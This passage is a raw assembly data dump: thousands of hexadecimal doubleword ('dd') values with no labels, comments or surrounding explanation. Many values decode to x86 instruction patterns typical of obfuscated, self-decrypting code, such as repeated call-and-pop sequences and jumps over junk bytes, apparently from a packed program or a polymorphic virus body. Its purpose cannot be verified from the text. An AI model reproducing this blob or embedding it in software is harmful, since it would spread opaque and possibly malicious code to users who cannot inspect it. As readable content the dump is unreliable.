		dd 2139EBD8h, 1005298Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 87DFB1FBh, 818D21D7h
		dd 6A061023h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 68F4C356h, 54DD37AEh, 0BB2F44A1h
		dd 752DA2DEh, 1E718589h, 8D8B0610h, 6100529h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F1C35343h, 2F1FCF63h
		dd 8B506959h, 101DA985h, 0E1835B06h, 41850F01h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0C7DAC352h, 0BC2554F1h, 1606931h,	101DFD9Dh
		dd 11E906h, 0F7170000h,	52BB6052h, 0CD20453Ch, 3EDEC2F1h
		dd 61C71EA0h, 23818D8Bh, 6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0E183CBC3h, 27850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0F051C352h, 0C50CD5A8h, 29BBF081h
		dd 60617F95h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0E6C35646h, 8F0F658Bh, 0
		dd 0FFFFFEB9h, 5E9FFh, 81BE0000h, 89743F1Ah, 1010E1B5h
		dd 18D2106h, 0E9061028h, 0Bh, 3971145Eh, 0F268B847h, 21D0A33Dh
		dd 102AB18Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 93AEEC11h, 21BD8971h, 8B06102Ah
		dd 1028018Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 61958B17h, 8306101Ch, 850F01E1h
		dd 2Ah,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h
		dd 5EC35747h, 0B738FEA0h, 860FFA8Ah, 2,	8D8BFE8Bh, 6102AB1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 56C35242h
		dd 0DA96EADEh, 79B58B74h, 83061021h, 850F01E1h,	24h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0AFC35343h, 11A1B589h
		dd 0C38B0610h, 0FEB96061h, 6AFFFFFFh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 369BC357h
		dd 7D8D2196h, 0E9061029h, 0Eh, 0B619FD3Fh, 78C72B3Bh, 63606A91h
		dd 8D21B66Ch, 6102875h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 26C35646h, 9EEA81D3h,	8B16731Eh, 10297D8Dh
		dd 6E906h, 997E0000h, 3B49B763h, 0F01E183h, 2485h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 890F2C2Ch, 1, 758D8BF8h, 6A061028h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0FAE2C352h
		dd 8B67172Ch, 10E18D89h, 0E1830610h, 1F850F01h,	57000000h
		dd 178A0Fh, 11E80000h, 0A7000000h, 0FD0EA0CEh, 902B5612h
		dd 48D0B60Ch, 882EA02Eh, 60615A5Ah, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0ABC35141h,	8E9666EDh, 0B9F3D589h
		dd 0FFFFFFFEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0B2C35040h, 19A4EEDEh, 89E6C86Fh, 0A58D21FDh, 6A06100Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 969DC357h, 0CC3466ABh, 21208ECFh,	1000418Dh
		dd 0A58D8B06h, 8306100Bh, 850F01E1h, 0Ch, 1915B533h, 0B5090610h
		dd 610161Dh, 418D8Bh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 6A2910C3h, 0E183FC68h
		dd 2850F01h, 0B4000000h, 6A60618Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0CEF2C357h
		dd 8E96A45h, 2D000000h,	0AD730D34h, 8B073306h, 10191D8Dh
		dd 5585C706h, 0D0061000h, 6A000007h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 237C356h
		dd 55AA2C3Fh, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 4A0078F0h, 0E69B8086h, 0B70FD7AAh
		dd 6107EBF0h, 0E99Dh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 16C279C3h, 22D0307Ch
		dd 6ACAAE05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 7FD5C355h, 9D89573Eh, 61021B1h
		dd 68D0Fh, 0B5310000h, 610284Dh, 6060C18Bh, 0C6816653h
		dd 0F5EA0AEh, 488h, 0FBBB6600h,	0C08B6137h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 60C35343h, 11E8DAh
		dd 0C2E0000h, 0CBC00574h, 151E3E94h, 9C04E968h,	0FBD55D2h
		dd 185h, 835EF800h, 10158DBDh, 9750006h, 95BD83h, 74000610h
		dd 8B535019h, 438B8C0h,	85890000h, 6100E65h, 0B8159D8Dh
		dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h,	438B853h
		dd 85890000h, 6100E65h,	0B5049D8Dh, 0D3FF0612h,	6A585Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 5FECD0C3h, 4BB3DC9Ah, 0E952A808h, 0Ah, 6AD23B0Fh, 0B20417A3h
		dd 6A5EF3B9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0E93BC357h, 0F9EA2305h, 8BF2861Ch
		dd 81BD89C0h, 0E806102Fh, 844h,	89CBBF0Fh, 10282185h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0B491BAA1h, 0CF8166E0h, 66601971h, 0B953C38Bh, 0E6ED47Fh
		dd 5E86159h, 89000008h,	102ED995h, 8589FC06h, 61030C5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ADC35646h
		dd 0F180BFD5h, 7D2E8BFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 295E25C3h, 2DD16AB8h
		dd 8589531Ah, 6101211h,	13E8h, 0A859F00h, 0F64B81F1h, 6129093Ch
		dd 44A0E49Eh, 89E25E7Ch, 29618D89h, 8B590610h, 782E8F1h
		dd 870F0000h, 17h, 9E860h, 0D6E40000h, 54A4914h, 587E11C6h
		dd 86D958Bh, 89610610h,	1011ED85h, 0E8CB8A06h, 758h, 1EC58D8Bh
		dd 85890610h, 6100BB9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0FDC35747h, 0B962973Ah, 6A0238C3h, 723E8h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 25B537F6h, 0B70EC33h, 2D8589AEh,	6A061023h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0D28FC356h, 57095296h, 0D1E80642h, 6A000006h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B33C352h, 1012E58Dh, 0CD858906h,	3061000h
		dd 100D9DB5h, 69EE806h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0D14238C3h, 65F51FB5h
		dd 89D67D9Ch, 1004E985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 1FC84E4Ch, 0EDF0BCAEh
		dd 64BE8h, 0F0BF0F00h, 1D898589h, 6A0610h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 77E055C3h
		dd 6ED1ADD4h, 0CABF0F07h, 617E8h, 8589F500h, 6102ED5h
		dd 1C618D33h, 0B70F0610h, 602E8CBh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E96D91C3h
		dd 14h,	6DAB73E3h, 0BF54C3B5h, 0AD58DF9Ch, 181CEB4Dh, 0AEF3A229h
		dd 8589CF8Bh, 6101F51h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0F3C35141h, 0E98147BCh, 7F3CB052h, 59BE8h
		dd 89CF8B00h, 10060595h, 25858906h, 6A06101Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 9A7DC351h, 564207F2h, 0D59589DBh, 0E806102Ah, 560h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 4C35141h
		dd 150533ECh, 8533606Dh, 610136Dh, 89610FB1h, 100EA585h
		dd 29E8FC06h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 807DC352h, 0BE50FC28h
		dd 2CD4285Dh, 0A185895Fh
		dd 0F061008h, 0F5E8F9BFh, 6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8A7AC350h
		dd 3A6CC78Fh, 8D8BE440h, 6101D05h, 8658589h, 6A0610h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 8D17A2C3h, 805A4BF5h, 9DE801C1h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0FD53C355h, 8962C745h, 0CD1A7F11h, 81666060h, 8B4785CAh
		dd 100CA9B5h, 0B58B6106h, 6102109h, 5820F61h, 0B9000000h
		dd 43DA9E39h, 4A58589h,	8D010610h, 6103035h, 6A00B0h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 28A8CDC3h, 0D810FABh, 60000000h, 0E7C819B9h,	0D98D8B67h
		dd 6106101Fh, 0D8B60FFCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0B6C35545h, 326E97Ah,	950957B1h, 6100A55h
		dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0E3278E4Ch, 8BF8FB9Bh, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 10E94Eh, 70700000h, 4FE7344Fh, 1CA4C3C5h, 199EFC43h
		dd 0E8C19991h, 0BE804h,	62590000h, 727DE0DBh, 452EC731h
		dd 11E88Ah, 41710000h, 8320DBA2h, 0BAE34B8h, 0F078C05Ch
		dd 596B4509h, 0E2F76659h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 75C35545h, 6890Fh, 0BD8B0000h, 6101B71h
		dd 1DCE8166h, 58A0FF6h,	66000000h, 0C9D8E981h, 0BF0FD82Bh
		dd 506050CEh, 0F5CB452h, 4FBA6631h, 60585A77h, 0DE9h, 0B6A15600h
		dd 83D55993h, 6FD9AB5Fh, 61613C08h, 81241C89h, 54C177E6h
		dd 0C995FF63h, 8906100Dh, 10303595h, 6E95B06h, 0E4000000h
		dd 3E41353Dh, 0B5958D21h, 6A061016h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 12C350h
		dd 5DB22064h, 7281E650h, 8E9h, 0B97C9500h, 861363D5h, 6A1A89FFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0FBF6C355h, 62BD21A1h, 2B249A97h,	102FE18Dh
		dd 4428906h, 68B0Fh, 8D8B0000h,	6101101h, 20A1958Dh, 1A890610h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 4C35040h
		dd 8E80E7Dh, 5B000000h,	0B58ECAD2h, 0FE575A6h, 8B59FFB7h
		dd 101AC5B5h, 4428906h,	22858D8Bh, 958D0610h, 6102D89h
		dd 0BE9h, 0F1C57500h, 8C385D4Ah, 0D8E3F668h, 0BE661A89h
		dd 428902B1h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8B669125h, 5958DF0h, 52061001h, 20E1B58Bh
		dd 895E0610h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0A3D09778h, 0A17E19B5h, 6A044289h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1A4BC350h, 2E018D89h, 958D0610h, 61010B5h
		dd 0E35BD89h, 1A890610h, 2DC5BD8Bh, 42890610h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 14E9D252h, 5E000000h, 824AB473h, 9E79EA2h, 0AE23992h
		dd 29F53BC8h, 8DE95485h, 10098995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0E9902775h
		dd 9, 0C1043C83h, 0E523CE08h, 6A1A89ABh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B78EC350h
		dd 0BABF668Ah, 44289BEh, 13E9FCh, 583F0000h, 7F98808Dh
		dd 3AE8C79Bh, 0FAB6A6D4h, 0ED3571D8h, 49958D40h, 6A06102Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 727DC351h, 452EC731h, 31E6C08Ah, 1028458Dh
		dd 6A1A8906h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 2DDBC355h, 0C6E4244Ch,	0B58BB112h
		dd 6102825h, 66044289h,	5BD3F781h, 69958Dh, 8E90610h, 9C000000h
		dd 6CC9DF93h, 89FCF4F4h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 6D8621A8h, 735DE762h
		dd 1DD180FDh, 8B044289h, 1007298Dh, 11DE906h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0B65D50C3h, 0E52F9B27h, 0FB8B693Fh, 6A006Ah,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD8B01C3h, 6100661h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 66194DC3h, 8146DE1Ah
		dd 0A0DD3EC1h, 6A006A25h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 3EEFC352h, 0FD055C7h
		dd 0BD23C8BFh, 61000E9h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 112B5DC3h, 6A935929h
		dd 0CFBF0F3Ah, 2EC995FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 53277EC3h, 53B5FD83h
		dd 0C3F494A9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	75C35040h, 0BD8B6046h, 6101D21h, 595BD29h, 8A610610h
		dd 53006AC5h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0F781E5F1h, 66256F0Ch, 3BFFF181h, 6E860h
		dd 5FB50000h, 0B4BCD2EDh, 6D01E281h, 0F5E4349h,	68Eh, 81BD8B00h
		dd 61061021h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0AFACB9C3h, 8DBD835Dh, 61015h, 0BD830975h
		dd 6100095h, 50197400h,	0B8C08B53h, 438h, 132D8589h, 9D8D0610h
		dd 612B87Ch, 585BD3FFh,	95BD83h, 74000610h, 0B8535017h
		dd 438h, 132D8589h, 9D8D0610h, 612B51Dh, 585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9EC35646h, 89D7D840h
		dd 1029A9BDh, 66FC6006h, 70B7F181h, 0B5295761h,	61015C1h
		dd 8DC08B5Eh, 1013B985h, 9E806h, 9AB00000h, 0A480A937h
		dd 66A2513Bh, 5F6317BFh, 8950DE8Bh, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 39DCFC3h
		dd 6646D676h, 6A8888BBh, 81BD8B00h, 0E906100Bh,	0Dh, 0A19FAA3Eh
		dd 59E41Dh, 0ED5502A5h,	60006A60h, 0BE9h, 2C31A900h, 0B97A994h
		dd 620BE457h, 0AE9h, 8D1E6600h,	0CC306876h, 61EE3B8Bh
		dd 858D85B3h, 61442BDh,	83FBB70Fh, 6A05C0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0E989AAC3h
		dd 815773ABh, 556A68D3h, 3605F4Ah, 10278185h, 0F9858906h
		dd 61061018h, 8B666090h, 54DCBFF8h, 50616188h, 0DE8h, 6249DC00h
		dd 5EDF72ABh, 0F2CF00E3h, 11E9EC2Ah, 2D000000h,	81810707h
		dd 0E0FD647Bh, 0F1E8A44Fh, 730BE397h, 6A905Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0BCE42AC3h, 7D058B46h
		dd 9D8B09C5h, 6103115h,	0CE8h, 39920900h, 3BC80AE2h, 548529F5h
		dd 6A5FF9E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 66463877h, 6ADA8Bh, 0A0DF8166h, 1995FF45h
		dd 6606101Dh, 0D16CD381h, 0AFD88D8Dh, 6A0613h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 724824C3h, 0BC92CA2Eh, 0D1FF04F4h, 10E8h, 4477D000h
		dd 76A614B5h, 9DB26053h, 0ECD77548h, 0BD8B5B34h, 6102255h
		dd 2209BD83h, 0F010610h, 8385h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 969294DFh
		dd 0DF8B6612h, 9D8B026Ah, 61001FDh, 24048950h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1FC35646h, 5AABCA31h
		dd 0BC4C05B8h, 95C7806Eh, 49595FFh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 1DF288C3h
		dd 2C3F0237h, 0FA8B55AAh, 0D13E9h, 0E800h, 815D0000h, 1442C7EDh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0F88A35FCh, 8DD88B66h, 1399B685h, 13E806h
		dd 0D40C0000h, 0DE54D4A0h, 5DFA7D98h, 0DDFC58A8h, 44656D9Bh
		dd 7BF38123h, 5B20E460h, 50D88B90h, 0DC1ABB66h,	52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 33359783h, 45E78166h, 35FF647Bh, 0
		dd 12E8h, 266B2500h, 9A4D026Dh,	0F1267722h, 0EA01D065h
		dd 6683BCCFh, 0BDEAE781h, 2589645Fh, 0
		dd 818D29h, 85FF0610h, 6101419h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 15h, 2AC35343h, 0B589F523h, 6101929h
		dd 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 85C07FC3h, 92BED3F5h, 11E808h, 0EA5D0000h
		dd 0F1680D93h, 5F0ED217h, 4F4CFE4Ch, 0BF2F9850h, 1475454Fh
		dd 21B5FF5Fh, 8B061028h, 10001D9Dh, 1595FF06h, 0E9061006h
		dd 132h, 22A5BD89h, 0B00610h, 51BD89h, 70E60610h, 8133BF66h
		dd 8E971E4h, 0D2000000h, 53080C02h, 3CFA1032h, 7830F61h
		dd 89000001h, 1029F59Dh, 0C8B60F06h, 9E349ABFh,	6BA73h
		dd 0E9600000h, 10h, 8C0CC17h, 41517807h, 7E70D902h, 760A78BAh
		dd 0C18B61F5h, 10E9h, 71F63600h, 2531C0EBh, 1FD00377h
		dd 171AE926h, 4E8C135h,	6BD38166h, 0E2F766E0h, 4A10BB66h
		dd 11E9C82Bh, 3A000000h, 9425FC00h, 0E5A94220h,	41C7EAC9h
		dd 0D20EEF58h, 9589D18Bh, 610124Dh, 9E9h, 9D9D2B00h, 0F061009h
		dd 858BFAB7h, 61016B5h,	35BD8B60h, 61061011h, 29C58509h
		dd 0C0830610h, 83FE8B07h, 5E900C0h, 9E000000h, 632BB765h
		dd 830FD03Bh, 25h, 8D33DF81h, 4FE96D19h, 0E8000000h, 0Fh
		dd 3C38EDBDh, 9E51DF6Bh, 0D7F7AD4h, 60635A1Ch, 61C68B66h
		dd 7D8D8B5Bh, 0BF061029h, 3487F8Bh, 0F01E183h, 2184h, 0E7816600h
		dd 0A583D566h, 610297Dh, 0AFBF66FEh, 0B59589F9h, 89061016h
		dd 1023518Dh, 0E906h, 0B58D0000h, 613DA9Bh, 6A5BF552h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 4D6156E8h, 0FFFB8B66h, 1031C995h, 22D38106h
		dd 2965C71Eh, 1001B185h, 7B3B906h, 0B5310000h, 61006F5h
		dd 0FFCE183h, 680h, 8DBD8B00h, 0FC06100Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 39C35242h, 5B83F19Ch
		dd 9529DEF2h, 6100AA5h,	8B66C02Bh, 0BADEh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 7635C0C3h, 50FD9420h, 0FFBF6646h, 0C233AD0Fh, 0D003E8D1h
		dd 7504E983h, 0E8BA60F4h, 0F04ADD8h, 1580h, 10E900h, 0B3480000h
		dd 4FA8AD7h, 427A99F7h,	0DEC4500Bh, 6A618FC8h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 83C4C351h, 7A625EFCh, 7E926FDh, 86000000h, 0DD4E9BA8h
		dd 880DE5E5h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 819AC350h, 0D0ED4F7h
		dd 0F5958B2Ch, 0E9061009h, 14h,	39EF1924h, 1770A865h, 4C8C3C4Bh
		dd 0D9593F95h, 8FEB96DDh, 23198D8Bh, 81660610h,	50BBDBCBh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 5774965Ch, 6A9F87h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 1D3C4AC3h, 77B72B11h, 1E29BD83h
		dd 0F000610h, 8084h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0CFE5FF8Bh, 2B006F01h
		dd 10348D9Dh, 0B806h, 8D8D0000h, 6104E85h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DAC35343h, 9DBD8B5Fh
		dd 0FF06101Ch, 51006AE1h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0F72AFF0Ah, 17B017EFh
		dd 0BF0FA48Bh, 0C1BD83FFh, 61022h, 34D840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 999E7CC3h, 5D9531h, 0BD830610h, 61022C1h, 37840F01h
		dd 66000003h, 0F836DB81h, 22C1BD83h, 0F030610h,	2EF86h
		dd 1D853100h, 8B061002h, 101FEDBDh, 9E96006h, 72000000h
		dd 41AAE072h, 0FD82C725h, 6AD98C66h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 50D5C351h
		dd 6010F82Eh, 1D2CE49h,	102AB98Dh, 4E18006h, 0AFBBF0Fh
		dd 0BB840FC9h, 0BF000000h, 74DDF43Eh, 2185858Bh, 6A0610h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 8831CDC3h, 0D3811A91h, 6C0500D1h, 11FD8533h,	0BD8B0610h
		dd 6101CB1h, 295DBD8Bh,	66500610h, 89EC46BFh, 85292404h
		dd 6102161h, 0FA8B006Ah, 0D3BC0268h, 6E8EDh, 0F8790000h
		dd 897E0B5h, 815B5B50h,	47FD2404h, 8A0F124Bh, 0
		dd 5D595FFh, 89FC0610h,	13C26D85h, 0E9FA8B06h, 1CFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 68C35343h, 0AFBE4649h
		dd 0E873687Fh, 7, 0DC4FA80Ah, 8B3D5CD6h, 858B5BF9h, 613C265h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B8C35343h
		dd 0BF795E35h, 223AE6EBh, 2DCB8166h, 1800C772h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E99BC356h, 0Ah, 0E103567Ah, 10520782h, 0B58BAEDAh
		dd 613C269h, 11E5BD89h,	858B0610h, 6100E25h, 12E9h, 18378300h
		dd 315FB7Ah, 0CF39A92Eh, 0DA85EF15h, 89F61E81h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 858BB095h, 6102185h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0CAC35343h, 89BB3F27h, 1021E585h, 4468906h
		dd 50F98B66h, 34895B53h, 0C810F24h, 0F000000h, 687h, 0A59D8B00h
		dd 0FF061030h, 13C265B5h, 8D89F806h, 6103299h, 4E8h, 1F03FF00h
		dd 0E9606000h, 7, 0B2E211C2h, 0E81B9D17h, 0Dh, 0DEEB9D7h
		dd 19532515h, 95177A3Ch, 0B0615E48h, 0B350619Eh, 24448BD2h
		dd 0F88B6604h, 850F008Bh, 15h, 10E9h, 0B6C93900h, 4B4A6FEBh
		dd 3B4BF441h, 400760AEh, 244489EBh, 5819B704h, 15ED9D09h
		dd 858D0610h, 613C26Dh,	139D9589h, 0E8500610h, 0Bh, 0C4F5FCB0h
		dd 29C8A86Dh, 0E922F4F2h, 8, 3E3B3BA6h,	97867B7Bh, 2404895Fh
		dd 0FFFBB70Fh, 1005D595h, 459D8B06h, 61061028h,	0E34A68BBh
		dd 0C185C752h, 3061022h, 2B000000h, 10063D9Dh, 759D8B06h
		dd 83061009h, 13C26DBDh, 840F0006h, 18h, 2E099D8Bh, 28E90610h
		dd 0E9000000h, 6, 0AD5F7540h, 0DA8A3E7Ah, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8BF3C355h, 1009C59Dh, 0C1BD8306h, 3061022h, 47D850Fh
		dd 0BD830000h, 613C26Dh, 70840F00h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F8FAC356h, 0C26DB5FFh, 0CE90613h, 41000000h, 0D15AFA28h
		dd 8B3CBFDh, 0FFB88D80h, 102FA595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 5680EBB1h
		dd 9C5AFEBFh, 61B58B31h, 0E90613C2h, 12h, 29D88298h, 0CFEECB62h
		dd 0FA5806F0h, 0F42B6AEAh, 6C71C25h, 10001h, 11458D89h
		dd 89500610h, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 895680C3h, 4D85898Dh, 0FF061012h
		dd 13C26DB5h, 9DBD0906h, 8B061004h, 101D1DBDh, 2595FF06h
		dd 6A061012h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 3973C352h, 7414BF66h, 0C261B58Bh
		dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0A47D4AC3h, 8B319026h, 1021D185h,	0E9606006h
		dd 7, 0C3BF6198h, 0BF8DC2E6h, 6E346125h, 0B830F61h, 0E9000000h
		dd 6, 6F2B636Dh, 8961530Ah, 0C486h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0E6DAD80Dh
		dd 0C4FE940Bh, 0EE809FCh, 91000000h, 0DB7BDEC9h, 4FC81E3Bh
		dd 97AD6AFCh, 1A890FAFh, 0E8000000h, 14h, 0F0C331B6h, 8988D96Ah
		dd 82CE791Fh, 86DFAAFEh, 0F33A5103h, 958B5F5Bh,	61009F5h
